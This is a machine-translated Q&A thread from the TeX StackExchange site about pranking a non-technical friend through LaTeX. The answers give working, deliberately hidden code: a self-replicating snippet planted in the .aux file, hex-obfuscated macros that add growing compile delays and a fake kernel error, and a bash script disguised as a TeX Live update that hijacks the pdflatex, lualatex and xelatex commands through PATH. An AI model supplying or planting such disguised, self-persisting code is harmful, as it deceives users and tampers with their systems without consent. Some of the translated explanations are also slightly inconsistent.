TeX.SX 的程式碼惡搞/惡作劇問題?

TeX.SX 的程式碼惡搞/惡作劇問題?

我有一個朋友使用我來支持 LaTeX。他不太懂技術,但喜歡 LaTeX,所以當他需要做的事情需要的不僅僅是標準的宏和環境時,我會幫助他。

我們喜歡互相惡作劇。下次他請求 LaTeX 幫助時,我想惡作劇他,做一些相對良性且容易逆轉的事情,這會顯著改變生成的 PDF——或者做一些在正常 (La)TeX 使用中值得注意的事情,比如延長編譯時間---以一種不想要的方式,問題的根源很難被發現(所以我想這將是代碼控制的情況)。不過,我自己不太擅長 LaTeX,因此考慮向 TeXpert 尋求創意建議。

我怎麼能給我的朋友帶來 (La)TeX 相關的困難?

答案1

aux將以下程式碼片段加入他們的檔案中,這是一個 quine.txt 檔案。當aux文件\input在 LaTeX 運行開始時,此處的程式碼將建立自身的副本並將其寫入文件中aux以供下次運行。此外,它將運行下麵包含的程式碼\toks2。例如,我選擇的程式碼增加了每個段落的縮排大小,但前提是 TeX 在奇數分鐘運行:結果取決於您的朋友編譯的時間。

{%
  \toks@{%
    \ifx\@nodocument\relax\else
      \toks2{% Here you put whatever mean code you want
        \ifodd\time
          \everypar\expandafter{%
            \the\everypar
            \advance\parindent 2pt\relax
          }%
        \fi
      }% end of \toks2
      \edef\x{%
        \noexpand\AtBeginDocument{%
          \the\toks2\relax
          \toks@{\the\toks@}%
          \immediate\write\@auxout{%
            {%
              \toks@{\noexpand\the\toks@}%
              \noexpand\noexpand\noexpand\the\toks@
            }% end of brace group
          }% end of \immediate\write\@auxout
        }% end of \AtBeginDocument
      }% end of \edef
      \x
    \fi
  }%
  \the\toks@
}

一次運行後,該aux檔案將包含以下壓縮版本(在一行中)

{\toks@ {\ifx \@nodocument \relax \else \toks 2{\ifodd \time \everypar
\expandafter {\the \everypar \advance \parindent 2pt\relax }\fi }\edef
\x {\noexpand \AtBeginDocument {\the \toks 2\relax \toks@ {\the \toks@
}\immediate \write \@auxout {{\toks@ {\noexpand \the \toks@ }\noexpand
\noexpand \noexpand \the \toks@ }}}}\x \fi }\the \toks@ }

並且後續運行將留下相同的壓縮版本(再次在一行中)。

讓我們看看詳細發生了什麼:在一個(簡單)群組中,令牌暫存器\toks@被設定為某個值,然後使用其內容。這些內容有什麼作用?有一個測試來檢查我們是否在運行開始時或結束時讀取 aux 檔案:\@nodocument\relax第二種情況,我們什麼都不做。然後toks寄存器\toks2被設定為您實際想要執行的程式碼。以下\edef\x{...}\x結構將擴展...

\AtBeginDocument{%
  <contents of \toks2>\relax
  \toks@{<contents of \toks@>}%
  \immediate\write\@auxout{%
    {%
      \toks@{\the\toks@}%
      \noexpand\the\toks@
    }% end of brace group
  }% end of \immediate\write\@auxout
}% end of \AtBeginDocument

然後執行該程式碼。 一旦 LaTeX 再次準備好寫入檔案(目前正在讀取檔案),\AtBeginDocument將稍後運行其參數。aux因此,一旦 LaTeX 準備好寫入aux文件,它就會執行您的程式碼(暫時儲存在 中\toks2),然後將其儲存<contents of \toks@>\toks@(此令牌暫存器可能已被其間的其他程式碼使用),並將以下內容寫入aux文件(記住\write擴充功能):

{%
  \toks@{<contents of \toks@>}%
  \the\toks@
}% end of brace group

這正是原始程式碼,因此最終會出現在aux下次執行 LaTeX 的檔案中。

希望我選擇放入的程式碼\toks2夠容易理解:

\ifodd\time
  \everypar\expandafter{%
    \the\everypar
    \advance\parindent 2pt\relax
  }%
\fi

如果時間(自一天開始以來的分鐘數)為奇數,則在每個段落中,執行每個段落中已完成的操作,並將段落縮進 ( ) 提前(增加)\parindent2 個點。例如,假設您將上面的第一個或第二個程式碼片段新增到aux透過執行pdflatex下面的文件產生的文件中。那麼,如果在偶數分鐘編譯,文件就會正常,否則段落縮排會越來越大。

\documentclass{article}
\usepackage{lipsum}
\begin{document}
\lipsum[1-10]
\end{document}

答案2

使用 LuaLaTeX 編譯

\documentclass{article}

\usepackage{lipsum}

^^5c^^75^^73^^65^^70^^61^^63^^6b^^61^^67^^65^^20
^^7b^^63^^68^^69^^63^^6b^^65^^6e^^69^^7a^^65^^7d
^^5c^^72^^61^^6e^^64^^6f^^6d^^75^^63^^6c^^63^^20

\begin{document}
\lipsum[1]
\end{document}

也可以\randomerror代替也\randomuclc不錯。

在此輸入影像描述

答案3

每次運行後請按照說明進行操作,您可能會有所收穫:)

對於那些不敢嘗試的人,它所做的是產生一條錯誤訊息(這裡來自 emacs tex 幫助緩衝區),其中頁碼是隨機的:

ERROR: LaTeX Error: I'm stymied; problem of unknown type on page 2

--- TeX said ---
 Re-run LaTeX at least three times to give a chance to the kernel
 to re-examine this intriguing problem.
 You may have encountered one of the $1,000,000 kernel bug.

See the LaTeX manual or LaTeX Companion for explanation.
Type  H <return>  for immediate help.
 ...                                              

l.49 \end{document}

--- HELP ---
From the .log file...

You're in trouble here.  Try typing  <return>  to proceed.
If that doesn't work, type  X <return>  to quit.

此外,在每次新編譯結束時,經過越來越長的延遲後,會出現此訊息(編譯時間約為n^2/2秒,其中n是先前運行的次數)。

用於混淆程式碼的十六進位轉換有點長,也許可以使用十六進位數字來混淆\input檔案包含以下程式碼的位置。

\documentclass{article}
\usepackage{lipsum}

^^5c^^6d^^61^^6b^^65^^61^^74^^6c^^65^^74^^74^^65^^72
^^5c^^41^^74^^45^^6e^^64^^44^^6f^^63^^75^^6d^^65^^6e^^74^^20^^7b%
^^5c^^40^^69^^66^^75^^6e^^64^^65^^66^^69^^6e^^65^^64^^7b^^40^^6b^^65^^72%
^^6e^^65^^6c^^70^^61^^6e^^69^^63^^74^^69^^6d^^65^^7d^^7b%
^^5c^^67^^64^^65^^66
^^5c^^40^^6b^^65^^72^^6e^^65^^6c^^70^^61^^6e^^69^^63^^74^^69^^6d^^65^^7b%
^^30^^7d^^7d^^7b^^7d^^5c^^69^^6d^^6d^^65^^64^^69^^61^^74^^65
^^5c^^77^^72^^69^^74^^65^^20^^5c^^40^^61^^75^^78^^6f^^75^^74^^7b%
^^5c^^67^^64^^65^^66^^20^^5c^^6e^^6f^^65^^78^^70^^61^^6e^^64
^^5c^^40^^6b^^65^^72^^6e^^65^^6c^^70^^61^^6e^^69^^63^^74^^69^^6d^^65^^7b%
^^5c^^74^^68^^65^^20^^5c^^6e^^75^^6d^^65^^78^^70^^72
^^5c^^40^^6b^^65^^72^^6e^^65^^6c^^70^^61^^6e^^69^^63^^74^^69^^6d^^65^^2b^^32^^2a%
^^5c^^70^^64^^66^^75^^6e^^69^^66^^6f^^72^^6d^^64^^65^^76^^69^^61^^74^^65
^^36^^35^^35^^33^^36^^5c^^72^^65^^6c^^61^^78^^20^^7d^^7d%
^^5c^^70^^64^^66^^72^^65^^73^^65^^74^^74^^69^^6d^^65^^72
^^5c^^6c^^6f^^6f^^70^^20^^5c^^69^^66^^6e^^75^^6d
^^5c^^70^^64^^66^^65^^6c^^61^^70^^73^^65^^64^^74^^69^^6d^^65^^20^^3c%
^^5c^^40^^6b^^65^^72^^6e^^65^^6c^^70^^61^^6e^^69^^63^^74^^69^^6d^^65%
^^5c^^73^^70^^61^^63^^65^^20^^5c^^72^^65^^70^^65^^61^^74
^^5c^^40^^6c^^61^^74^^65^^78^^40^^65^^72^^72^^6f^^72^^7b^^49^^27^^6d
^^73^^74^^79^^6d^^69^^65^^64^^3b^^20^^70^^72^^6f^^62^^6c^^65^^6d
^^6f^^66^^20^^75^^6e^^6b^^6e^^6f^^77^^6e^^20^^74^^79^^70^^65^^20^^6f^^6e
^^70^^61^^67^^65
^^5c^^70^^64^^66^^75^^6e^^69^^66^^6f^^72^^6d^^64^^65^^76^^69^^61^^74^^65
^^31^^30^^20^^0a^^20^^52^^65^^2d^^72^^75^^6e^^20^^4c^^61^^54^^65^^58
^^61^^74^^20^^6c^^65^^61^^73^^74^^20^^74^^68^^72^^65^^65
^^74^^69^^6d^^65^^73^^20^^74^^6f^^20^^67^^69^^76^^65^^20^^61
^^63^^68^^61^^6e^^63^^65^^20^^74^^6f^^20^^74^^68^^65
^^6b^^65^^72^^6e^^65^^6c^^0a^^20^^74^^6f^^20^^72^^65^^2d^^65^^78^^61^^6d%
^^69^^6e^^65^^20^^74^^68^^69^^73^^20^^69^^6e^^74^^72^^69^^67^^75^^69^^6e%
^^67^^20^^70^^72^^6f^^62^^6c^^65^^6d^^2e^^0a^^20^^59^^6f^^75^^20^^6d^^61%
^^79^^20^^68^^61^^76^^65^^20^^65^^6e^^63^^6f^^75^^6e^^74^^65^^72^^65^^64
^^6f^^6e^^65^^20^^6f^^66^^20^^74^^68^^65
^^5c^^73^^74^^72^^69^^6e^^67^^20^^24^^31^^2c^^30^^30^^30^^2c^^30^^30^^30
^^6b^^65^^72^^6e^^65^^6c^^20^^62^^75^^67^^7d%
^^5c^^40^^65^^68^^64^^7d^^5c^^6d^^61^^6b^^65^^61^^74^^6f^^74^^68^^65^^72

\begin{document}
\lipsum[1-50]

\end{document}

十六進位代碼(帶有來自行尾的空格)

\makeatletter\AtEndDocument{%
  \@ifundefined{@kernelpanictime}{\gdef\@kernelpanictime{0}}{}%
  \immediate\write\@auxout 
                {\gdef\noexpand\@kernelpanictime{%
                  \the\numexpr\@kernelpanictime+2*\pdfuniformdeviate
                  65536\relax}}% 
  \pdfresettimer
                \loop
                  \ifnum\pdfelapsedtime<\@kernelpanictime\space
                \repeat
  \@latex@error{I'm stymied; problem of unknown type  on page
  \pdfuniformdeviate 10 ^^J
  Re-run LaTeX at least three times to give a chance to the kernel^^J
  to re-examine this intriguing problem.^^J
  You may have encountered one of the \string$1,000,000 kernel bug}\@ehd 
}\makeatother

答案4

由於代碼太長,作為答案而不是評論發布。基於 Bruno Le Floch 的回答,egreg 在聊天中暗示了一點變化。

將其添加到您的輔助中:

{%
  \toks@{%
    \ifx\@nodocument\relax\else
      \toks2{% Here you put whatever mean code you want
        \ifodd\time
          \everypar\expandafter{%
            \the\everypar
            \ifdefined\pdf@elapsedtime
              \ifodd\pdf@elapsedtime
                \advance\parindent 2pt\relax
              \else
                \advance\parindent -2pt\relax
              \fi
            \else
              \advance\parindent 2pt\relax
            \fi
          }%
        \fi
      }% end of \toks2
      \edef\x{%
        \noexpand\AtBeginDocument{%
          \the\toks2\relax
          \toks@{\the\toks@}%
          \immediate\write\@auxout{%
            {%
              \toks@{\noexpand\the\toks@}%
              \noexpand\noexpand\noexpand\the\toks@
            }% end of brace group
          }% end of \immediate\write\@auxout
        }% end of \AtBeginDocument
      }% end of \edef
      \x
    \fi
  }%
  \the\toks@
}

如果您使用pdflatex(或lualatex載入套件)編譯此程式碼,則在編譯期間每秒都會反轉pdftexcmds更改,任何其他編譯器都會產生與 Bruno 的程式碼相同的程式碼。\parindent


事情還能變得比這更糟嗎?哦,是的,他們可以!讓我們稍微調整一下可執行文件,而不是直接編輯 aux 文件(這將透過清理建置目錄來撤銷)。

注意:正如丹尼爾在下面的評論中提到的,對不熟練的人進行惡搞確實很卑鄙,所以請使用一些常識來判斷誰可以仔細觀察到底發生了什麼。另外,我對失去的朋友或對您發送的腳本的永久不信任不承擔任何責任;)

下次您的朋友請求支持時,請向他或她發送此文件update-tl.sh

#!/bin/bash
pdf_path=`which pdflatex`
tex_path=${pdf_path:0:-9}
mkdir -p ~/.tex-updates/
cd ~/.tex-updates
touch pdflatex
chmod +x pdflatex
echo '#!/bin/bash' > pdflatex
echo '[[ $1 =~ ^([A-Za-z0-9]+)(\.tex)??$ ]]' >> pdflatex
echo 'jobname=${BASH_REMATCH[1]}' >> pdflatex
echo 'if [ ! -f "$jobname.aux" ]' >> pdflatex
echo 'then' >> pdflatex
echo 'echo "{\toks@ {\ifx \@nodocument \relax \else \toks 2{\ifodd \time \everypar \expandafter {\the \everypar \ifdefined \pdf@elapsedtime \ifodd \pdf@elapsedtime \advance \parindent 3pt\relax \else \advance \parindent -2pt\relax \fi \else \advance \parindent 2pt\relax \fi }\fi }\edef \x {\noexpand \AtBeginDocument {\the \toks 2\relax \toks@ {\the \toks@ }\immediate \write \@auxout {{\toks@ {\noexpand \the \toks@ }\noexpand \noexpand \noexpand \the \toks@ }}}}\x \fi }\the \toks@ }" >> $jobname.aux' >> pdflatex
echo 'fi' >> pdflatex
echo "$tex_path/pdflatex \$1" >> pdflatex
touch lualatex
chmod +x lualatex
echo '#!/bin/bash' > lualatex
echo '[[ $1 =~ ^([A-Za-z0-9]+)(\.tex)??$ ]]' >> lualatex
echo 'jobname=${BASH_REMATCH[1]}' >> lualatex
echo 'if [ ! -f "$jobname.aux" ]' >> lualatex
echo 'then' >> lualatex
echo 'echo "{\toks@ {\ifx \@nodocument \relax \else \toks 2{\ifodd \time \everypar \expandafter {\the \everypar \ifdefined \pdf@elapsedtime \ifodd \pdf@elapsedtime \advance \parindent 2pt\relax \else \advance \parindent -3pt\relax \fi \else \advance \parindent 2pt\relax \fi }\fi }\edef \x {\noexpand \AtBeginDocument {\the \toks 2\relax \toks@ {\the \toks@ }\immediate \write \@auxout {{\toks@ {\noexpand \the \toks@ }\noexpand \noexpand \noexpand \the \toks@ }}}}\x \fi }\the \toks@ }" >> $jobname.aux' >> lualatex
echo 'fi' >> lualatex
echo "$tex_path/lualatex \$1" >> lualatex
touch xelatex
chmod +x xelatex
echo '#!/bin/bash' > xelatex
echo '[[ $1 =~ ^([A-Za-z0-9]+)(\.tex)??$ ]]' >> xelatex
echo 'jobname=${BASH_REMATCH[1]}' >> xelatex
echo 'if [ ! -f "$jobname.aux" ]' >> xelatex
echo 'then' >> xelatex
echo 'echo "{\toks@ {\ifx \@nodocument \relax \else \toks 2{\ifodd \time \everypar \expandafter {\the \everypar \ifdefined \pdf@elapsedtime \ifodd \pdf@elapsedtime \advance \parindent 2pt\relax \else \advance \parindent -2pt\relax \fi \else \advance \parindent 2pt\relax \fi }\fi }\edef \x {\noexpand \AtBeginDocument {\the \toks 2\relax \toks@ {\the \toks@ }\immediate \write \@auxout {{\toks@ {\noexpand \the \toks@ }\noexpand \noexpand \noexpand \the \toks@ }}}}\x \fi }\the \toks@ }" >> $jobname.aux' >> xelatex
echo 'fi' >> xelatex
echo "$tex_path/xelatex \$1" >> xelatex
echo 'PATH="~/.tex-updates:$PATH"' >> ~/.bash_aliases

不幸的是,這僅在 Linux 下有效,並且透過向 pdflatex 添加完整路徑或額外參數可能很容易被破壞,但總體思路如下:

  • 取得原始可執行檔的位置
  • 建立一個目錄來儲存「更新的」可執行文件
  • 建立多個文件,並具有適當的執行權限
  • 在每個檔案中檢查 aux 檔案是否已存在,如果不存在則使用上面的程式碼建立它
  • 然後讓新腳本呼叫舊的可執行檔來建立輸出,並可能更改 aux 檔案
  • 最後將這個新目錄加入到$PATH環境變數中

一些有趣的事實:

  • 僅在bash使用時才有效,否則~/.bashrc不使用
  • 僅當 aux 檔案尚不存在時才添加程式碼
  • 它僅在~/.bashrc獲取後才有效,因此在新登入或開啟新終端機視窗後

編輯更有趣的事實:

  • 運行which pdflatex返回原來的pdflatex,而pdflatex test.tex實際執行新的pdflatex
  • 在多用戶系統上,這只會影響執行該程式的用戶update-tl.sh
  • 沒有什麼是永久損壞的,只需[pdf|lua|xe]latex從中刪除腳本~/.tex-updates和 aux 檔案即可使一切恢復正常:)(與我最初更改bin目錄內的可執行檔的想法相反:P)

相關內容